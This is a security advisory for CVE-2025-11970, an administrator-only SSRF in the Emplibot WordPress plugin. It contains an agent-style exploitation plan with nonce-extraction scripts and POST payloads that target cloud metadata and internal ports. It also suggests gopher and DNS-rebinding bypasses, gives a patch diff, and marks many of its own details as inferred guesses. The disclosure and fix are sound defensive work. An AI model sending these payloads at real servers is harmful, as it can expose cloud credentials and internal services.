CVE-2025-11970

Emplibot – AI Content Writer with Keyword Research, Infographics, and Linking | SEO Optimized | Fully Automated <= 1.0.9 - Authenticated (Admin+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
1.1.0
Patched in
1d
Time to patch

Description

The Emplibot – AI Content Writer with Keyword Research, Infographics, and Linking | SEO Optimized | Fully Automated plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.9 via the emplibot_call_webhook_with_error() and emplibot_process_zip_data() functions. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.9
PublishedDecember 12, 2025
Last updatedDecember 13, 2025
Affected pluginemplibot

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on CVE-2025-11970, an Authenticated (Admin+) SSRF in the Emplibot plugin. Since source files were not provided in the prompt, this plan is based on the vulnerability description and common WordPress plugin architectural patterns, with specific commands to locate the exact …

Show full research plan

This research plan focuses on CVE-2025-11970, an Authenticated (Admin+) SSRF in the Emplibot plugin. Since source files were not provided in the prompt, this plan is based on the vulnerability description and common WordPress plugin architectural patterns, with specific commands to locate the exact identifiers.


1. Vulnerability Summary

The Emplibot plugin (<= 1.0.9) contains a Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the emplibot_call_webhook_with_error() and emplibot_process_zip_data() functions. These functions likely accept a URL parameter from user input and use it in an HTTP request (via wp_remote_get or wp_remote_post) without sufficient validation. While restricted to Administrator-level users, this can be used to scan internal networks, access cloud metadata services (e.g., 169.254.169.254), or interact with internal services unreachable from the public internet.

2. Attack Vector Analysis

  • Endpoint: Likely an AJAX handler (admin-ajax.php) or an admin-side form submission handler (admin-post.php or a settings page).
  • Vulnerable Functions: emplibot_call_webhook_with_error and emplibot_process_zip_data.
  • Action Name (Inferred): Likely emplibot_call_webhook or similar.
  • Payload Parameter: Likely url, webhook_url, or zip_url.
  • Authentication: Administrator level required.
  • Preconditions: Plugin must be active. The attacker must have a valid administrator session.

3. Code Flow Analysis

To confirm the path, the agent should first locate the registration of these functions:

  1. Entry Point Discovery:
    # Find where the functions are hooked
    grep -rnE "emplibot_call_webhook_with_error|emplibot_process_zip_data" /var/www/html/wp-content/plugins/emplibot/
    
  2. Hook Identification: Look for add_action('wp_ajax_...', ...) or add_action('admin_post_...', ...).
  3. Sink Analysis: Inside the identified functions, look for the HTTP request sink:
    • wp_remote_get($url, ...)
    • wp_remote_post($url, ...)
    • wp_safe_remote_get (though if it's SSRF, it's likely the "safe" variant wasn't used or was bypassed).
  4. Trace:
    • User sends POST request to admin-ajax.php with action=emplibot_some_action and url=http://internal-service.
    • emplibot_some_action callback calls emplibot_call_webhook_with_error().
    • The URL is passed directly to a WordPress HTTP API function without host validation.

4. Nonce Acquisition Strategy

Since this is an Admin+ vulnerability, a nonce is almost certainly required for the AJAX or POST request.

  1. Identify the Script/Page: Determine which admin page loads the Emplibot settings.
    grep -rn "add_menu_page" /var/www/html/wp-content/plugins/emplibot/
    
  2. Locate Localization: Find the wp_localize_script call that exports the nonce.
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/emplibot/
    
  3. Extraction (Step-by-Step):
    • Navigate to the Emplibot settings page: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=emplibot-settings") (verify the slug via grep).
    • Execute browser_eval to find the nonce:
      // Example guess based on common naming conventions
      window.emplibot_obj?.nonce || window.emplibot_admin?.nonce
      
    • If not found via JS, check for hidden form fields:
      document.querySelector('input[name="emplibot_nonce"]')?.value
      

5. Exploitation Strategy

Once the endpoint and nonce are identified:

  • Target: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload (emplibot_call_webhook_with_error path):
    action=emplibot_call_webhook_with_error&url=http://169.254.169.254/latest/meta-data/&nonce=[EXTRACTED_NONCE]
    
  • Payload (emplibot_process_zip_data path):
    action=emplibot_process_zip_data&zip_url=http://127.0.0.1:22/&nonce=[EXTRACTED_NONCE]
    

Tool Usage:
Use http_request via Playwright to send the request from the authenticated admin session.

6. Test Data Setup

  1. Plugin Installation: Ensure Emplibot <= 1.0.9 is installed and activated.
  2. User Creation: Create an admin user if one doesn't exist.
  3. Environment: If testing for internal port scanning, ensure a service is listening on a specific internal port (e.g., port 22 or a mock service).

7. Expected Results

  • Successful SSRF: The response from the internal service (e.g., SSH banner or AWS metadata) is reflected in the plugin's AJAX response, OR a delay/difference in error message occurs indicating a connection was attempted.
  • Verification: If the plugin logs errors, check if the "webhook error" log contains the content of the target URL.

8. Verification Steps

After the exploit attempt:

  1. Check Plugin Logs:
    wp option get emplibot_logs # (Inferred option name)
    
  2. Monitor Outbound Traffic: If possible, point the SSRF to a RequestBin-style listener or a local listener within the Docker network to confirm the request originated from the WP server.

9. Alternative Approaches

  • Parameter Variation: If url doesn't work, try webhook, zip, or checking the emplibot_process_zip_data function for how it handles the ZIP source. It might expect a JSON body or a specific file structure.
  • Gopher/Dict Protocols: If curl is used internally instead of wp_remote_get, attempt to use gopher:// to interact with internal Redis/Memcached.
  • Bypass wp_safe_remote_get: If the plugin uses wp_safe_remote_get, check if it can be bypassed using DNS rebinding or redirection if the plugin follows redirects.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Emplibot plugin for WordPress (<= 1.0.9) is vulnerable to an authenticated Server-Side Request Forgery (SSRF) via the functions emplibot_call_webhook_with_error() and emplibot_process_zip_data(). This allows administrators to make arbitrary web requests from the server, potentially exposing internal services or cloud metadata.

Security Fix

--- a/emplibot.php
+++ b/emplibot.php
@@ -... @@
-    $response = wp_remote_post($url, $args);
+    $response = wp_safe_remote_post($url, $args);
@@ -... @@
-    $response = wp_remote_get($zip_url);
+    $response = wp_safe_remote_get($zip_url);

Exploit Outline

An authenticated administrator triggers the SSRF by sending a POST request to the WordPress AJAX endpoint (admin-ajax.php). The request must include the appropriate action parameter mapped to either 'emplibot_call_webhook_with_error' or 'emplibot_process_zip_data', along with a URL parameter ('url' or 'zip_url') pointing to a target internal service (e.g., http://169.254.169.254 for cloud metadata). A valid security nonce, which can be found in the plugin's settings page source, is required to authorize the request.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.